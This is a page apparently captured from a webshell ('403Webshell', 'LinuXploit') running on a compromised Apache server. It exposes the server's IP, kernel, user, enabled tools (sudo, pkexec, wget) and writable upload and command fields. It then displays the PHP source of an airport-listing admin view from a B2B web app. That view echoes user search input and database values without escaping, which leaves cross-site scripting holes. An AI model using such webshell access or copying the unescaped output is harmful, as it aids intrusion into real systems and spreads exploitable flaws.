403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/b2bzend/application/views/scripts/airport/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/b2bzend/application/views/scripts/airport/index.phtml
 <?php 
 $customers = $this->customerList;
 ?>
<!--Page main section start-->
<section id="min-wrapper" class="active">
<div id="main-content">
<div class="container-fluid">
<div class="row">
    <div class="col-md-12">
        <!--Top header start-->
        <h3 class="ls-top-header">Airport</h3>
        <!--Top header end -->

        <!--Top breadcrumb start -->
        <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-home"></i></a></li>
            <li class="active">Settting</li><li class="active">Airport</li>
        </ol>
        <!--Top breadcrumb start -->
    </div>
</div>
<!-- Main Content Element  Start-->
<div class="row">

<div class="col-md-12">
    <?php if (count($this->messages)) { ?>
     <div class="alert alert-success" >
         <button data-dismiss="alert" class="close" type="button">x</button>
         <?php foreach ($this->messages as $message) {  ?>
         <?php echo $this->escape($message); ?>
         <?php } ?>
     </div>
    <?php } ?>
</div>


	<div class="col-md-12">
    	<div class="leadeBorder">
        	<div class="panel-body">
            	<div class="form-group form-group1 text-right"><a href="<?php echo $this->baseUrl('airport/add'); ?>" class="btn btn-success btn-sm"><i class="fa fa-fw fa-arrows"></i> Add</a>
                            	

                </div>
                
                
                <div class="form-group form-group1 alert alert-info">
				<form class="ls_form" name="city_search" id="city_search" role="form" method="post" action="<?php echo $this->baseUrl('airport'); ?>">
				
                <div class="col-md-12 no-padding">
                
                                  
								   <div class="col-md-3"> 
                                    <div class="form-group">
                                    <label><strong>Airport</strong></label>
                                    <input name="Title" id="Title" class="form-control" type="text" placeholder="Airport" value="<?php if(isset($this->searchArr['Title'])) { echo $this->searchArr['Title']; } ?>">
                                    </div>
                                  </div>  
								  
								  <div class="col-md-3"> 
                                    <div class="form-group">
                                    <label><strong>Code</strong></label>
                                       <input name="Code" id="Code" class="form-control" type="text" placeholder="Code" value="<?php if(isset($this->searchArr['Code'])) { echo $this->searchArr['Code']; } ?>">
                                    </div>
                                  </div> 

                                    <div class="col-md-3"> 
                                    <div class="form-group">
                                    <label><strong>Country</strong></label>
                                       <select name="CountryId" id="CountryId" class="demo-default select-country" onchange="getCityAjax(this.value)">
                                            <option value="">Select Country</option>
                                           <?php foreach($this->countrylist  as $v){?>
                                                <option value="<?php echo $v['ContId']; ?>" <?php if(@$this->searchArr['CountryId']==$v['ContId']) { echo "Selected"; } ?>><?php echo $v['Title']; ?></option>
                                           <?php } ?>	
                                        </select>
                                    </div>
                                  </div>  
                    
				   <div class="col-md-3"> 
                                    <div class="form-group">
                                    <label><strong>City</strong></label>
                                    <div id="cityNameList">
                                        <select name="cityList" id="cityList" class="demo-default select-country" placeholder="Select City">
                                            <option value="">Select City</option>
                                            <?php foreach($this->city_listing  as $v){
                                                ?>
                                                <option value="<?php echo $v['CityId']; ?>" <?php if(@$this->searchArr['CityId']==$v['CityId']) { echo "Selected"; } ?>><?php echo $v['Title']; ?></option>
                                           <?php } ?>	
                                        </select>
                                    </div>    
                                    </div>
                                  </div>  
					                           
                              </div>
                <div class="col-md-12 no-padding">
                                                               
                                  
                              <div class="col-md-3">  
                               <div class="form-group">
                               <div class="control-group">
                               <label><strong>Status</strong></label>
                                <select id="filter1" name="filter1" class="demo-default select-country">
                                    <option value="All" <?php if(@$this->searchArr['filter1']=='All') { echo "Selected"; } ?>>All</option>
                                    <option value="1" <?php if(@$this->searchArr['filter1']=='1') { echo "Selected"; } ?>>Active</option>
                                    <option value="0" <?php if(@$this->searchArr['filter1']=='0') { echo "Selected"; } ?>>De-active</option>
                                    <!--<option value="3">In SIte Map</option>
                                    <option value="4">Not In SIte Map </option>
                                    <option value="5">City With No Pkgs</option> -->
                                </select>
                                </div>
                                </div>
                                </div>
                                                                     
                          
                                  </div> 
                                  
                 <div class="col-md-12">  
                <div class="ls-button-group">             
                <button type="submit" href="#" class="btn btn btn-danger btn-sm">
					<i class="fa fa-search" aria-hidden="true"></i>
					<span class="ladda-label"> Search </span>
                </button>
		<a href="<?php echo $this->baseUrl("airport"); ?>" class="btn btn-warning">Cancel</a>	
                
                </div>   
                </div>
                <div class="clearfix"></div>
                </div>
                </form>
				<div class="table-responsive ls-table">
                                        <table class="table table-bordered table-striped table-bottomless small" id="ls-editable-table" >
                                        <thead>
                                            <tr>
                                              	<th style="font-size:12px;">Airport</th>
                                                <th style="font-size:12px;">Code </th>
                                                <th style="font-size:12px;">City </th>
                                                <th style="font-size:12px;">Country </th>
                                                <th style="font-size:12px;" class="text-center">Status</th>
                                                <th style="width:8%; font-size:12px;" class="text-center">Action</th>
                                            </tr>
                                        </thead>
                                        <tbody>
                                                <?php 
                                                if(!empty($this->paginator)) {

                                                        foreach($this->paginator as $v){ ?>
                                                                <tr>

                                                                        <td><?php echo $v['AirportTitle']; ?></td>
                                                                        <td><?php echo $v['AirportCode']; ?></td>
                                                                        <td><?php echo $v['CityName']; ?></td>
                                                                        <td><?php echo $v['CountryName']; ?></td>
                                                                        <td class="text-center"><a href="<?php echo $this->baseUrl('airport/filter-status/filter/filter1/val/'.$v['IsActive'].'/id/'.base64_encode($v['ISO']).'/page/'.$this->currentPage); ?>"><?php echo ($v['IsActive']==0)? '<i class="fa fa-times red" aria-hidden="true"></i>' : '<i class="fa fa-check-circle-o" aria-hidden="true"></i>'; ?></a></td>
                                                                        <td class="text-center">
                                                                                <a href="<?php echo $this->baseUrl('airport/edit/id/'.base64_encode($v['ISO']).'/page/'.$this->currentPage); ?>"><button class="btn btn-xs btn-warning tooltipLink" data-toggle="tooltip" data-placement="top" title="Edit"><i class="fa fa-pencil-square-o"></i></button></a>
                                                                                <a href="<?php echo $this->baseUrl('airport/delete/id/'.base64_encode($v['ISO']).'/page/'.$this->currentPage); ?>" onclick="return confirm('Are you sure you want to delete the selected record?');"><button class="btn btn-xs btn-danger tooltipLink" data-toggle="tooltip" data-placement="top" title="Delete"><i class="fa fa-angle-up large"></i></button></a>
                                                                        </td>
                                                                </tr>

                                                <?php }
                                                }
                                                else {
                                                ?>	
                                                        <td colspan="7"><b>No Record Found.</b></td>
                                                <?php
                                                }?>											
                                            </tbody>
                                  
                                    </table>
</div>               
                                    <!--Table Wrapper Finish-->
									
									<!--Pagingnation Start-->
                                        <?php 
                                        // get array for pagination filter
                                        $filter = array();
                                        foreach($this->searchArr as $key=>$val)
                                                {
                                                        if($val!=''){
                                                                $filter['filterVariable'][$key]=$val;
                                                        }	
                                                }

                                        $totalrec = $this->totalrec;
                                        if($totalrec > $this->perPage) 
                                            { 
                                                echo $this->paginationControl($this->paginator, 'Sliding', 'common_pagination.phtml',$filter); 
                                            } 
                                        ?>
                                    <!--Pagingnation End--> 
                                    
              </div>                      
                                    
                       
            </div>
        </div>
    </div>
    
</div>

<!-- Main Content Element  End-->
</div>
</div>


<?php echo $this->render('copyrightfooter.phtml'); ?>
</section>

<?php include_once 'application/views/scripts/newfooter.phtml';?>
<!--Page main section end -->

<script type="text/javascript">
function getCityAjax()
{
    var cid = $('#CountryId').val();
    $.ajax({
            url: '/airport/getcityajax',
            data: 'countryid=' + cid,
            type: 'POST',
            beforeSend: function (data) {

            },
            success: function (response) {
                    $("#cityNameList").html(response);
            },
            error:function(){
                    alert("fail : Please try after some time");
            }
    });					
}
</script>

Youez - 2016 - github.com/yon3zu
LinuXploit